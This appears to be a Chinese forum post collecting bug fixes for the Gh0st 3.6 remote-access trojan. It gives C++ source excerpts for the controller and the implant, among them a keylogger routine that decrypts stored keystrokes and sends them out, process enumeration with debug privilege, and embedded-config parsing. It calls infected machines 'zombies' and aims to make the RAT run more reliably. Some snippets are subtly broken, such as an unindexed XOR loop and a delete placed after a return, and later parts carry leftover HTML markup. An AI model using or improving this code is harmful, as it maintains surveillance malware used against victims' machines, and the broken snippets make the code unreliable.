Gh0st 3.6 存在的BUG及修改方法(收集整理)

以下贴出代码全部为修改后的

---------------------------------------------------------------------------------------------------------------------------------

1.拖放文件上传和下载时,有选择目标目录的话,可能会使目录重复

修改CFileManagerDlg::SendUploadJob()和CFileManagerDlg::CreateLocalRecvFile()中的代码:

if (m_Remote_Upload_Job.IsEmpty())
   return FALSE;

CString strDestDirectory = m_Remote_Path;
// 如果远程也有选择,当做目标文件夹
int nItem = m_list_remote.GetSelectionMark();

// 是文件夹
if (!m_hCopyDestFolder.IsEmpty())//修改目录重复的bug
{
   strDestDirectory += m_hCopyDestFolder + "\\";
}else if (nItem != -1 && m_list_remote.GetItemData(nItem) == 1) // 是文件夹
{
   strDestDirectory += m_list_remote.GetItemText(nItem, 0) + "\\";
}//新修改

if (!m_hCopyDestFolder.IsEmpty())
{
   strDestDirectory += m_hCopyDestFolder + "\\";
}

// 发出第一个下载任务命令

------------------------------------------------------------------------------------------------------------------------------------

2.‍选中多个主机,执行断开连接,并不是所有选择的都断开

Ccb1stView::OnDisconnect() 中代码改为
        POSITION pos;
        for(; pos=m_pListCtrl->GetFirstSelectedItemPosition();)
        {
                m_pListCtrl->DeleteItem(m_pListCtrl->GetNextSelectedItem(pos));
        }

------------------------------------------------------------------------------------------------------------------------------------

3.文件列表不支持点击排序

在FileManagerDlg.h中加上一句:
#define CListCtrl CCJListCtrl

--------------------------------------------------------------------------------------------------------------------------------------

4.内存泄露BUG修改

1)、内存泄漏
如new后没有delete,或其他内存分配函数后没有配对释放,例如:
void SplitLoginInfo(…)中、DWORD GetProcessID(LPCTSTR lpProcessName)中…
另外如用

[Copy to clipboard] [ - ]CODE:
char *lpBuffer = new char[dwSize]
这种形式new,后面应该

[Copy to clipboard] [ - ]CODE:
delete [] lpBuffer;
,如果只是delete lpBuffer应该也会造成泄漏,例如:
int CKeyboardManager::sendOfflineRecord()中…
2)、句柄泄漏
大多是由于没有CloseHandle所致,某些特殊对象有相应的关闭释放函数,虽然问题不大,可看到肉鸡每次接受命令执行,就增加一些句柄或其他资源占用,心里总是不爽。
例如:

[Copy to clipboard] [ - ]CODE:
LPBYTE CSystemManager::getProcessList()中OpenProcess后应该CloseHandle(hProcess);

[Copy to clipboard] [ - ]CODE:
DWORD GetProcessID(LPCTSTR lpProcessName)中最后应该CloseHandle(handle);

//新加入减少内存泄露//1
void SplitLoginInfo(char *lpDecodeString, char **lppszHost, LPDWORD lppPort, char **lppszProxyHost, LPDWORD

lppProxyPort,
                                    char **lppszProxyUser, char **lppszProxyPass)
{
       *lppszHost = NULL;
       *lppPort = 0;
       *lppszProxyHost = NULL;
       *lppProxyPort = 0;
       *lppszProxyUser = NULL;
       *lppszProxyPass = NULL;

       bool        bIsProxyUsed = false;
       bool        bIsAuth = false;
       UINT        nSize = lstrlen(lpDecodeString) + 1;
       char        *lpString = new char[nSize];
       memcpy(lpString, lpDecodeString, nSize);
      
       char        *pStart, *pNext, *pEnd;
       *lppszHost = lpString;

       if ((pStart = strchr(lpString, ':')) == NULL)
            return;

       *pStart = '\0';
       if ((pNext = strchr(pStart + 1, '|')) != NULL)
       {
            bIsProxyUsed = true;
            *pNext = '\0';
       }
       *lppPort = atoi(pStart + 1);
      
       if (!bIsProxyUsed)
            return;

       pNext++;
       *lppszProxyHost = pNext;

       if ((pStart = strchr(pNext, ':')) == NULL)
            return;

       *pStart = '\0';
       if ((pNext = strchr(pStart + 1, '|')) != NULL)
       {
            bIsAuth = true;
            *pNext = '\0';
       }
       *lppProxyPort = atoi(pStart + 1);
      
       if (!bIsAuth)
            return;
      
       pNext++;
       *lppszProxyUser = pNext;
       if ((pStart = strchr(pNext, ':')) == NULL)
            return;
       *pStart = '\0';
       *lppszProxyPass = pStart + 1;
       delete [] lpString ;//新加入减少内存泄露 
}


//2

int CKeyboardManager::sendOfflineRecord()
{
       int             nRet = 0;
       DWORD        dwSize = 0;
       DWORD        dwBytesRead = 0;
       char        strRecordFile[MAX_PATH];
       GetSystemDirectory(strRecordFile, sizeof(strRecordFile));
       lstrcat(strRecordFile, "");
       HANDLE        hFile = CreateFile(strRecordFile, GENERIC_READ, FILE_SHARE_READ,
            NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
       if (hFile != INVALID_HANDLE_VALUE)
       {
            dwSize = GetFileSize(hFile, NULL);
            char *lpBuffer = new char[dwSize];
            ReadFile(hFile, lpBuffer, dwSize, &dwBytesRead, NULL);
            // 解密
            for (int i = 0; i < dwSize; i++)
                     lpBuffer ^= XOR_ENCODE_VALUE;
            nRet = sendKeyBoardData((LPBYTE)lpBuffer, dwSize);
            delete [] lpBuffer; //    delete lpBuffer;新修改的代码
       }
       CloseHandle(hFile);
       return nRet;
}


//

LPBYTE CSystemManager::getProcessList()
{
       HANDLE                      hSnapshot = NULL;
       HANDLE                      hProcess = NULL;
       HMODULE                      hModules = NULL;
       PROCESSENTRY32        pe32 = {0};
       DWORD                      cbNeeded;
       char                      strProcessName[MAX_PATH] = {0};
       LPBYTE                      lpBuffer = NULL;
       DWORD                      dwOffset = 0;
       DWORD                      dwLength = 0;
       DebugPrivilege(SE_DEBUG_NAME, TRUE);
      
       hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
      
       if(hSnapshot == INVALID_HANDLE_VALUE)
            return NULL;
      
       pe32.dwSize = sizeof(PROCESSENTRY32);
      
       lpBuffer = (LPBYTE)LocalAlloc(LPTR, 1024);
      
       lpBuffer[0] = TOKEN_PSLIST;
       dwOffset = 1;
      
       if(Process32First(hSnapshot, &pe32))
       {       
            do
            {    
                     hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE,

pe32.th32ProcessID);
                     if ((pe32.th32ProcessID !=0 ) && (pe32.th32ProcessID != 4) && (pe32.th32ProcessID != 8))
                     {
                               EnumProcessModules(hProcess, &hModules, sizeof(hModules), &cbNeeded);
                               GetModuleFileNameEx(hProcess, hModules, strProcessName, sizeof(strProcessName));
                              
                               // 此进程占用数据大小
                               dwLength = sizeof(DWORD) + lstrlen(pe32.szExeFile) + lstrlen(strProcessName) + 2;
                               // 缓冲区太小,再重新分配下
                               if (LocalSize(lpBuffer) < (dwOffset + dwLength))
                                    lpBuffer = (LPBYTE)LocalReAlloc(lpBuffer, (dwOffset + dwLength),

LMEM_ZEROINIT|LMEM_MOVEABLE);
                              
                               memcpy(lpBuffer + dwOffset, &(pe32.th32ProcessID), sizeof(DWORD));
                               dwOffset += sizeof(DWORD);       
                              
                               memcpy(lpBuffer + dwOffset, pe32.szExeFile, lstrlen(pe32.szExeFile) + 1);
                               dwOffset += lstrlen(pe32.szExeFile) + 1;
                              
                               memcpy(lpBuffer + dwOffset, strProcessName, lstrlen(strProcessName) + 1);
                               dwOffset += lstrlen(strProcessName) + 1;
                     }
            CloseHandle(hProcess);//新修改
            }
            while(Process32Next(hSnapshot, &pe32));
       }
      
       lpBuffer = (LPBYTE)LocalReAlloc(lpBuffer, dwOffset, LMEM_ZEROINIT|LMEM_MOVEABLE);
      
       DebugPrivilege(SE_DEBUG_NAME, FALSE); 
       CloseHandle(hSnapshot);
       return lpBuffer;       
}
//
DWORD GetProcessID(LPCTSTR lpProcessName)
{
       DWORD RetProcessID = 0;
       HANDLE handle=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
       PROCESSENTRY32* info=new PROCESSENTRY32;
       info->dwSize=sizeof(PROCESSENTRY32);
      
       if(Process32First(handle,info))
       {
            if (strcmpi(info->szExeFile,lpProcessName) == 0)
            {
                     RetProcessID = info->th32ProcessID;
                     return RetProcessID;
            }
            while(Process32Next(handle,info) != FALSE)
            {
                     if (lstrcmpi(info->szExeFile,lpProcessName) == 0)
                     {
                               RetProcessID = info->th32ProcessID;
                               return RetProcessID;
            
                     }
            }
       }

CloseHandle(handle);//新修改

return RetProcessID;
       
}

新修改
bool CALLBACK CSystemManager::EnumWindowsProc(HWND hwnd, LPARAM lParam)
{
DWORD dwLength = 0;
DWORD dwOffset = 0;
DWORD dwProcessID = 0;
LPBYTE lpBuffer = *(LPBYTE *)lParam;
char strTitle[1024]={0};
try
{
GetWindowText(hwnd, strTitle, sizeof(strTitle)-1);
strTitle[sizeof(strTitle)-1]=0;
if (!IsWindowVisible(hwnd) || lstrlen(strTitle) == 0)
return true;
if (lpBuffer == NULL)
{
lpBuffer = (LPBYTE)LocalAlloc(LPTR, 1);
dwOffset=1;
}else
{
dwOffset = LocalSize(lpBuffer);
while(*(lpBuffer + dwOffset - 2)==0) dwOffset--;
}

dwLength = sizeof(DWORD) + lstrlen(strTitle) + 1;
lpBuffer = (LPBYTE)LocalReAlloc(lpBuffer, dwOffset + dwLength, LMEM_ZEROINIT|LMEM_MOVEABLE);
}catch (...)
{
return true;
}
GetWindowThreadProcessId(hwnd, (LPDWORD)(lpBuffer + dwOffset));
memcpy(lpBuffer + dwOffset + sizeof(DWORD), strTitle, lstrlen(strTitle) + 1);

*(LPBYTE *)lParam = lpBuffer;
return true;
}

/
LPCTSTR FindConfigString(HMODULE hModule, LPCTSTR lpString)
{
       char        strFileName[MAX_PATH];
       char        *lpConfigString = NULL;
       DWORD        dwBytesRead = 0;
       GetModuleFileName(hModule, strFileName, sizeof(strFileName));
      
       HANDLE        hFile = CreateFile(strFileName, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
       if (hFile == INVALID_HANDLE_VALUE)
       {
            return NULL;
       }
      
       SetFilePointer(hFile, -MAX_CONFIG_LEN, NULL, FILE_END);
       lpConfigString = new char[MAX_CONFIG_LEN];
       ReadFile(hFile, lpConfigString, MAX_CONFIG_LEN, &dwBytesRead, NULL);
       CloseHandle(hFile);
      
       int offset = memfind(lpConfigString, lpString, MAX_CONFIG_LEN, 0);
       if (offset == -1)
       {
            delete lpConfigString;
            return NULL;
       }
       else
       {
            return lpConfigString + offset;
            delete lpConfigString;///新修改代码-----------不确定.
       }
}
// 文件名随机

------------------------------------------------------------------------------------------------------------------------------------

5.对话框关闭后未销毁的问题(spy++可以看到)

        在CGh0stView::OnRemoveFromList(WPARAM wParam, LPARAM lParam)中有调用DestroyWindow,只要在OnClose中注释掉m_pContext->m_Dialog[0] = 0;

‍        在工程中搜索m_pContext->m_Dialog[0] = 0;共搜到七处,全部注释掉后,测试时第二次进入文件管理的时候掉图标。不注释的话,又导致spy++可以看到文件管理窗口。欢迎高手提供好的解决办法。
也就是下面代码里的m_pContext->m_Dialog[0] = 0;不能注释,其他六处可以注释。
void CFileManagerDlg::OnClose() 
{
// TODO: Add your message handler code here and/or call default
CoUninitialize();
m_pContext->m_Dialog[0] = 0;
closesocket(m_pContext->m_Socket);
CDialog::OnClose();
}

------------------------------------------------------------------------------------------------------------------------------------

6.发送数据较快容易出错

pContext->m_hWriteComplete

这明显是个event对象,可是并没有CreateEvent创建,单线程发送接收可能没事,发送数据较快就有问题了(我加代理功能时发现,CreateEvent后发的数据就不乱了)

------------------------------------------------------------------------------------------------------------------------------------

7. Gh0st3.6 IOCP发送BUG

作 者: boywhp
时 间: 2014-04-21,22:53:46
链 接: http://bbs.pediy.com/showthread.php?t=186833

测试发现有时客户端会发送重复数据包,感觉作者的IOCP发送处理逻辑不是太清晰,简单修改了下,初步测试没发现异常
话说我很想不通使用了TCP通信的Gh0st里面居然还有处理重发的代码,真是蛋疼啊,懒得删了,万一有个大坑呢?
另外里面频繁的new delete看得我也很不爽啊,不过我忍住了,能不动就不动
1、CIOCPServer::Send
代码:
void CIOCPServer::Send(ClientContext* pContext, LPBYTE lpData, UINT nSize)
{
  if (pContext == NULL)
    return;
        
  try
  {
                CLock cs(pContext->m_SndLock, "Send");
    if (nSize > 0)
    {
      // Compress data
      unsigned long  destLen = (double)nSize * 1.001  + 12;
      LPBYTE      pDest = new BYTE[destLen];
      int  nRet = compress(pDest, &destLen, lpData, nSize);
      
      if (nRet != Z_OK)
      {
        delete [] pDest;
        return;
      }

      //
      LONG nBufLen = destLen + HDR_SIZE;
      // 5 bytes packet flag
      pContext->m_WriteBuffer.Write(m_bPacketFlag, sizeof(m_bPacketFlag));
      // 4 byte header [Size of Entire Packet]
      pContext->m_WriteBuffer.Write((PBYTE) &nBufLen, sizeof(nBufLen));
      // 4 byte header [Size of UnCompress Entire Packet]
      pContext->m_WriteBuffer.Write((PBYTE) &nSize, sizeof(nSize));
      // Write Data
      pContext->m_WriteBuffer.Write(pDest, destLen);
      delete [] pDest;
      
      // 如果当前缓冲区无数据堆积,执行PostSend
      if (pContext->m_WriteBuffer.GetBufferLen() == nBufLen)
        PostSend(pContext);

      // 发送完后,再备份数据, 因为有可能是m_ResendWriteBuffer本身在发送,所以不直接写入
      LPBYTE lpResendWriteBuffer = new BYTE[nSize];
      CopyMemory(lpResendWriteBuffer, lpData, nSize);
      pContext->m_ResendWriteBuffer.ClearBuffer();
      pContext->m_ResendWriteBuffer.Write(lpResendWriteBuffer, nSize);  // 备份发送的数据
      delete [] lpResendWriteBuffer;
    }
    else // 要求重发
    {
      pContext->m_WriteBuffer.Write(m_bPacketFlag, sizeof(m_bPacketFlag));
      pContext->m_ResendWriteBuffer.ClearBuffer();
      pContext->m_ResendWriteBuffer.Write(m_bPacketFlag, sizeof(m_bPacketFlag));  // 备份发送的数据  
    }

     //OVERLAPPEDPLUS * pOverlap = new OVERLAPPEDPLUS(IOWrite);
     //PostQueuedCompletionStatus(m_hCompletionPort, 0, (DWORD) pContext, &pOverlap->m_ol);

    pContext->m_nMsgOut++;
  }catch(...){}
}
2、添加函数CIOCPServer::PostSend
代码:
void CIOCPServer::PostSend(ClientContext* pContext)
{
  OVERLAPPEDPLUS * pOverlap = new OVERLAPPEDPLUS(IOWrite);
  WSABUF sndBuf;
  ULONG ulFlags = MSG_PARTIAL;
  
  m_pNotifyProc((LPVOID) m_pFrame, pContext, NC_TRANSMIT);
  
  sndBuf.buf = (char*) pContext->m_WriteBuffer.GetBuffer();
  sndBuf.len = pContext->m_WriteBuffer.GetBufferLen();
  
  int nRetVal = WSASend(pContext->m_Socket, 
    &sndBuf,
    1,
    &sndBuf.len, 
    ulFlags,
    &pOverlap->m_ol, 
    NULL);
  
  if (nRetVal == SOCKET_ERROR && WSAGetLastError() != WSA_IO_PENDING)
    RemoveStaleClient( pContext, FALSE );
}

3、CIOCPServer::OnClientWriting
代码:
bool CIOCPServer::OnClientWriting(ClientContext* pContext, DWORD dwIoSize)
{
  try
  {
    //
    static DWORD nLastTick = GetTickCount();
    static DWORD nBytes = 0;
    
    nBytes += dwIoSize;
    
    if (GetTickCount() - nLastTick >= 1000)
    {
      nLastTick = GetTickCount();
      InterlockedExchange((LPLONG)&(m_nSendKbps), nBytes);
      nBytes = 0;
    }
    //
               
                TRACE("IOCP Send DONE %d bytes Remain:%d bytes\n", 
      dwIoSize, 
      pContext->m_WriteBuffer.GetBufferLen());

    // Finished writing - tidy up
                if (dwIoSize > 0){
            pContext->m_WriteBuffer.Delete(dwIoSize);
      if (pContext->m_WriteBuffer.GetBufferLen() > 0)
        PostSend(pContext);
      else
        pContext->m_WriteBuffer.ClearBuffer();
                }

  }catch(...){}
  return false;      // issue new read after this one
}

------------------------------------------------------------------------------------------------------------------------------------

8.SetPaneText 的崩溃问题

  这个应该属于多线程操作控件的问题,参见MFC不能多线程操作控件的原因 这里面讲解的比较深入了。 
关于状态栏StatusBar有几点需要说明: 
1)刚刚创建工程 CMainFrame 类里面就有一个 CMFCStatusBar m_wndStatusBar; 状态栏变量定义。在原版工程里面是CStatusBar m_wndStatusBar; 
2)在这个类的 OnCreate 函数里面调用 m_wndStatusBar.SetPaneInfo(0, m_wndStatusBar.GetItemID(0), SBPS_STRETCH , 300); 设置每个状态栏分割宽度,后面两个参数 SBPS_STRETCH 表示 剩余的宽度都算在这个分割里面,300表示最小宽度,MSDN文档。 
3)关于 CMFCStatusBar 使用方法可见 鸡啄米专栏 VS2010/MFC编程入门之三十八(状态栏的使用详解) 。 
4)gh0st里面是这样使用 m_wndStatusBar 的:

<code class="language-C hljs lasso has-numbering" style="display: block; padding: 0px; color: inherit; box-sizing: border-box; font-family: 'Source Code Pro', monospace;font-size:undefined; white-space: pre; border-radius: 0px; word-wrap: normal; background: transparent;"><span class="hljs-literal" style="color: rgb(0, 102, 102); box-sizing: border-box;">void</span> CIOCPServer<span class="hljs-tag" style="color: rgb(0, 102, 102); box-sizing: border-box;">::OnAccept</span>()
{
        m_pNotifyProc((LPVOID) m_pFrame, pContext, NC_CLIENT_CONNECT);
}
<span class="hljs-literal" style="color: rgb(0, 102, 102); box-sizing: border-box;">void</span> CALLBACK CMainFrame<span class="hljs-tag" style="color: rgb(0, 102, 102); box-sizing: border-box;">::NotifyProc</span>(LPVOID lpParam, ClientContext <span class="hljs-subst" style="color: rgb(0, 0, 0); box-sizing: border-box;">*</span>pContext, UINT nCode)
{
    g_pFrame<span class="hljs-subst" style="color: rgb(0, 0, 0); box-sizing: border-box;">-></span>m_wndStatusBar<span class="hljs-built_in" style="color: rgb(102, 0, 102); box-sizing: border-box;">.</span>SetPaneText(<span class="hljs-number" style="color: rgb(0, 102, 102); box-sizing: border-box;">1</span>, str);
}</code><ul class="pre-numbering" style="box-sizing: border-box; position: absolute; width: 50px; top: 0px; left: 0px; margin: 0px; padding: 6px 0px 40px; border-right-width: 1px; border-right-style: solid; border-right-color: rgb(221, 221, 221); list-style: none; text-align: right; background-color: rgb(238, 238, 238);"><li style="box-sizing: border-box; padding: 0px 5px;">1</li><li style="box-sizing: border-box; padding: 0px 5px;">2</li><li style="box-sizing: border-box; padding: 0px 5px;">3</li><li style="box-sizing: border-box; padding: 0px 5px;">4</li><li style="box-sizing: border-box; padding: 0px 5px;">5</li><li style="box-sizing: border-box; padding: 0px 5px;">6</li><li style="box-sizing: border-box; padding: 0px 5px;">7</li><li style="box-sizing: border-box; padding: 0px 5px;">8</li></ul>

当异常的时候调用栈如下: 
这里写图片描述
跟踪到异常位置来到系统代码:

<code class="language-C hljs lasso has-numbering" style="display: block; padding: 0px; color: inherit; box-sizing: border-box; font-family: 'Source Code Pro', monospace;font-size:undefined; white-space: pre; border-radius: 0px; word-wrap: normal; background: transparent;">        <span class="hljs-comment" style="color: rgb(136, 0, 0); box-sizing: border-box;">// should also be in the permanent or temporary handle map</span>
        CHandleMap<span class="hljs-subst" style="color: rgb(0, 0, 0); box-sizing: border-box;">*</span> pMap <span class="hljs-subst" style="color: rgb(0, 0, 0); box-sizing: border-box;">=</span> afxMapHWND();
        ASSERT(pMap <span class="hljs-subst" style="color: rgb(0, 0, 0); box-sizing: border-box;">!=</span> <span class="hljs-built_in" style="color: rgb(102, 0, 102); box-sizing: border-box;">NULL</span>);

        CObject<span class="hljs-subst" style="color: rgb(0, 0, 0); box-sizing: border-box;">*</span> p<span class="hljs-subst" style="color: rgb(0, 0, 0); box-sizing: border-box;">=</span><span class="hljs-built_in" style="color: rgb(102, 0, 102); box-sizing: border-box;">NULL</span>;
        <span class="hljs-keyword" style="color: rgb(0, 0, 136); box-sizing: border-box;">if</span>(pMap)
        {
            ASSERT( (p <span class="hljs-subst" style="color: rgb(0, 0, 0); box-sizing: border-box;">=</span> pMap<span class="hljs-subst" style="color: rgb(0, 0, 0); box-sizing: border-box;">-></span>LookupPermanent(m_hWnd)) <span class="hljs-subst" style="color: rgb(0, 0, 0); box-sizing: border-box;">!=</span> <span class="hljs-built_in" style="color: rgb(102, 0, 102); box-sizing: border-box;">NULL</span> <span class="hljs-subst" style="color: rgb(0, 0, 0); box-sizing: border-box;">||</span>
                    (p <span class="hljs-subst" style="color: rgb(0, 0, 0); box-sizing: border-box;">=</span> pMap<span class="hljs-subst" style="color: rgb(0, 0, 0); box-sizing: border-box;">-></span>LookupTemporary(m_hWnd)) <span class="hljs-subst" style="color: rgb(0, 0, 0); box-sizing: border-box;">!=</span> <span class="hljs-built_in" style="color: rgb(102, 0, 102); box-sizing: border-box;">NULL</span>);
        }</code><ul class="pre-numbering" style="box-sizing: border-box; position: absolute; width: 50px; top: 0px; left: 0px; margin: 0px; padding: 6px 0px 40px; border-right-width: 1px; border-right-style: solid; border-right-color: rgb(221, 221, 221); list-style: none; text-align: right; background-color: rgb(238, 238, 238);"><li style="box-sizing: border-box; padding: 0px 5px;">1</li><li style="box-sizing: border-box; padding: 0px 5px;">2</li><li style="box-sizing: border-box; padding: 0px 5px;">3</li><li style="box-sizing: border-box; padding: 0px 5px;">4</li><li style="box-sizing: border-box; padding: 0px 5px;">5</li><li style="box-sizing: border-box; padding: 0px 5px;">6</li><li style="box-sizing: border-box; padding: 0px 5px;">7</li><li style="box-sizing: border-box; padding: 0px 5px;">8</li><li style="box-sizing: border-box; padding: 0px 5px;">9</li><li style="box-sizing: border-box; padding: 0px 5px;">10</li></ul>

总之一句话,这个 SetPaneText 是从其它线程 ListenThreadProc 调用过来的,如果要正常使用可以修改为如下方式 :

<code class="language-C hljs lasso has-numbering" style="display: block; padding: 0px; color: inherit; box-sizing: border-box; font-family: 'Source Code Pro', monospace;font-size:undefined; white-space: pre; border-radius: 0px; word-wrap: normal; background: transparent;"><span class="hljs-literal" style="color: rgb(0, 102, 102); box-sizing: border-box;">void</span> CALLBACK CMainFrame<span class="hljs-tag" style="color: rgb(0, 102, 102); box-sizing: border-box;">::NotifyProc</span>(LPVOID lpParam, ClientContext <span class="hljs-subst" style="color: rgb(0, 0, 0); box-sizing: border-box;">*</span>pContext, UINT nCode)
{
    g_pFrame<span class="hljs-subst" style="color: rgb(0, 0, 0); box-sizing: border-box;">-></span>PostMessageA(UpdatePane);
}</code><ul class="pre-numbering" style="box-sizing: border-box; position: absolute; width: 50px; top: 0px; left: 0px; margin: 0px; padding: 6px 0px 40px; border-right-width: 1px; border-right-style: solid; border-right-color: rgb(221, 221, 221); list-style: none; text-align: right; background-color: rgb(238, 238, 238);"><li style="box-sizing: border-box; padding: 0px 5px;">1</li><li style="box-sizing: border-box; padding: 0px 5px;">2</li><li style="box-sizing: border-box; padding: 0px 5px;">3</li><li style="box-sizing: border-box; padding: 0px 5px;">4</li></ul>

g_pFrame 是一个 CMainFrame 类型指针,在CMainFrame 类里面加入一个消息处理过程:

<code class="language-C hljs autohotkey has-numbering" style="display: block; padding: 0px; color: inherit; box-sizing: border-box; font-family: 'Source Code Pro', monospace;font-size:undefined; white-space: pre; border-radius: 0px; word-wrap: normal; background: transparent;"><span class="hljs-label" style="box-sizing: border-box;">ON_MESSAGE(UpdatePane, &CMainFrame::</span>OnUpdatepane)
<span class="hljs-label" style="box-sizing: border-box;">afx_msg LRESULT CMainFrame::</span>OnUpdatepane(WPARAM wParam, LPARAM lParam)
{
    m_wndStatusBar.SetPaneText(<span class="hljs-number" style="color: rgb(0, 102, 102); box-sizing: border-box;">1</span>, <span class="hljs-string" style="color: rgb(0, 136, 0); box-sizing: border-box;">"test"</span>)<span class="hljs-comment" style="color: rgb(136, 0, 0); box-sizing: border-box;">;</span>
    <span class="hljs-keyword" style="color: rgb(0, 0, 136); box-sizing: border-box;">return</span> <span class="hljs-number" style="color: rgb(0, 102, 102); box-sizing: border-box;">0</span><span class="hljs-comment" style="color: rgb(136, 0, 0); box-sizing: border-box;">;</span>
}</code><ul class="pre-numbering" style="box-sizing: border-box; position: absolute; width: 50px; top: 0px; left: 0px; margin: 0px; padding: 6px 0px 40px; border-right-width: 1px; border-right-style: solid; border-right-color: rgb(221, 221, 221); list-style: none; text-align: right; background-color: rgb(238, 238, 238);"><li style="box-sizing: border-box; padding: 0px 5px;">1</li><li style="box-sizing: border-box; padding: 0px 5px;">2</li><li style="box-sizing: border-box; padding: 0px 5px;">3</li><li style="box-sizing: border-box; padding: 0px 5px;">4</li><li style="box-sizing: border-box; padding: 0px 5px;">5</li><li style="box-sizing: border-box; padding: 0px 5px;">6</li></ul>

  在 ListenThreadProc 向 CMainFrame 类发送一个消息 PostMessage(UpdatePane),然后在 CMainFrame 类里面处理这个消息,至此问题完美解决。 
参考: 
MFC中从一个类向其他类发送消息的方法

------------------------------------------------------------------------------------------------------------------------------------

9.WSAIoctl 参数类型导致栈异常

以前gh0st代码如下:

<code class="language-C hljs objectivec has-numbering" style="display: block; padding: 0px; color: inherit; box-sizing: border-box; font-family: 'Source Code Pro', monospace;font-size:undefined; white-space: pre; border-radius: 0px; word-wrap: normal; background: transparent;">    <span class="hljs-keyword" style="color: rgb(0, 0, 136); box-sizing: border-box;">const</span> <span class="hljs-keyword" style="color: rgb(0, 0, 136); box-sizing: border-box;">char</span> chOpt = <span class="hljs-number" style="color: rgb(0, 102, 102); box-sizing: border-box;">1</span>;
    WSAIoctl
        (
        pContext->m_Socket, 
        SIO_KEEPALIVE_VALS,
        &klive,
        <span class="hljs-keyword" style="color: rgb(0, 0, 136); box-sizing: border-box;">sizeof</span>(tcp_keepalive),
        <span class="hljs-literal" style="color: rgb(0, 102, 102); box-sizing: border-box;">NULL</span>,
        <span class="hljs-number" style="color: rgb(0, 102, 102); box-sizing: border-box;">0</span>,
        (<span class="hljs-keyword" style="color: rgb(0, 0, 136); box-sizing: border-box;">unsigned</span> <span class="hljs-keyword" style="color: rgb(0, 0, 136); box-sizing: border-box;">long</span> *)&chOpt,
        <span class="hljs-number" style="color: rgb(0, 102, 102); box-sizing: border-box;">0</span>,
        <span class="hljs-literal" style="color: rgb(0, 102, 102); box-sizing: border-box;">NULL</span>
        );</code><ul class="pre-numbering" style="box-sizing: border-box; position: absolute; width: 50px; top: 0px; left: 0px; margin: 0px; padding: 6px 0px 40px; border-right-width: 1px; border-right-style: solid; border-right-color: rgb(221, 221, 221); list-style: none; text-align: right; background-color: rgb(238, 238, 238);"><li style="box-sizing: border-box; padding: 0px 5px;">1</li><li style="box-sizing: border-box; padding: 0px 5px;">2</li><li style="box-sizing: border-box; padding: 0px 5px;">3</li><li style="box-sizing: border-box; padding: 0px 5px;">4</li><li style="box-sizing: border-box; padding: 0px 5px;">5</li><li style="box-sizing: border-box; padding: 0px 5px;">6</li><li style="box-sizing: border-box; padding: 0px 5px;">7</li><li style="box-sizing: border-box; padding: 0px 5px;">8</li><li style="box-sizing: border-box; padding: 0px 5px;">9</li><li style="box-sizing: border-box; padding: 0px 5px;">10</li><li style="box-sizing: border-box; padding: 0px 5px;">11</li><li style="box-sizing: border-box; padding: 0px 5px;">12</li><li style="box-sizing: border-box; padding: 0px 5px;">13</li></ul>

WSAIoctl 原型声明如下:

<code class="language-C hljs bash has-numbering" style="display: block; padding: 0px; color: inherit; box-sizing: border-box; font-family: 'Source Code Pro', monospace;font-size:undefined; white-space: pre; border-radius: 0px; word-wrap: normal; background: transparent;">int WSAAPI WSAIoctl(
    __<span class="hljs-keyword" style="color: rgb(0, 0, 136); box-sizing: border-box;">in</span> SOCKET s,
    __<span class="hljs-keyword" style="color: rgb(0, 0, 136); box-sizing: border-box;">in</span> DWORD dwIoControlCode,
    __<span class="hljs-keyword" style="color: rgb(0, 0, 136); box-sizing: border-box;">in</span>_bcount_opt(cbInBuffer) LPVOID lpvInBuffer,
    __<span class="hljs-keyword" style="color: rgb(0, 0, 136); box-sizing: border-box;">in</span> DWORD cbInBuffer,
    __out_bcount_part_opt(cbOutBuffer, *lpcbBytesReturned) LPVOID lpvOutBuffer,
    __<span class="hljs-keyword" style="color: rgb(0, 0, 136); box-sizing: border-box;">in</span> DWORD cbOutBuffer,
    __out LPDWORD lpcbBytesReturned,
    __inout_opt LPWSAOVERLAPPED lpOverlapped,
    __<span class="hljs-keyword" style="color: rgb(0, 0, 136); box-sizing: border-box;">in</span>_opt LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine
    );</code><ul class="pre-numbering" style="box-sizing: border-box; position: absolute; width: 50px; top: 0px; left: 0px; margin: 0px; padding: 6px 0px 40px; border-right-width: 1px; border-right-style: solid; border-right-color: rgb(221, 221, 221); list-style: none; text-align: right; background-color: rgb(238, 238, 238);"><li style="box-sizing: border-box; padding: 0px 5px;">1</li><li style="box-sizing: border-box; padding: 0px 5px;">2</li><li style="box-sizing: border-box; padding: 0px 5px;">3</li><li style="box-sizing: border-box; padding: 0px 5px;">4</li><li style="box-sizing: border-box; padding: 0px 5px;">5</li><li style="box-sizing: border-box; padding: 0px 5px;">6</li><li style="box-sizing: border-box; padding: 0px 5px;">7</li><li style="box-sizing: border-box; padding: 0px 5px;">8</li><li style="box-sizing: border-box; padding: 0px 5px;">9</li><li style="box-sizing: border-box; padding: 0px 5px;">10</li><li style="box-sizing: border-box; padding: 0px 5px;">11</li></ul>

  倒数第三个参数应当是 LPDWORD 类型,而且是输出,传入的仅仅是char类型,虽然因为对齐 char 也分配了4字节,不会导致栈覆盖,但是在debug模式下系统加入了严苛的栈检测机制:虽然分配了四字节,因为是char类型,所以剩余的三字节是不应该修改的,在release下就没有这问题。 
修改为 LONG 类型即可解决问题:

<code class="language-C hljs objectivec has-numbering" style="display: block; padding: 0px; color: inherit; box-sizing: border-box; font-family: 'Source Code Pro', monospace;font-size:undefined; white-space: pre; border-radius: 0px; word-wrap: normal; background: transparent;">    <span class="hljs-keyword" style="color: rgb(0, 0, 136); box-sizing: border-box;">unsigned</span> <span class="hljs-keyword" style="color: rgb(0, 0, 136); box-sizing: border-box;">long</span> chOpt;
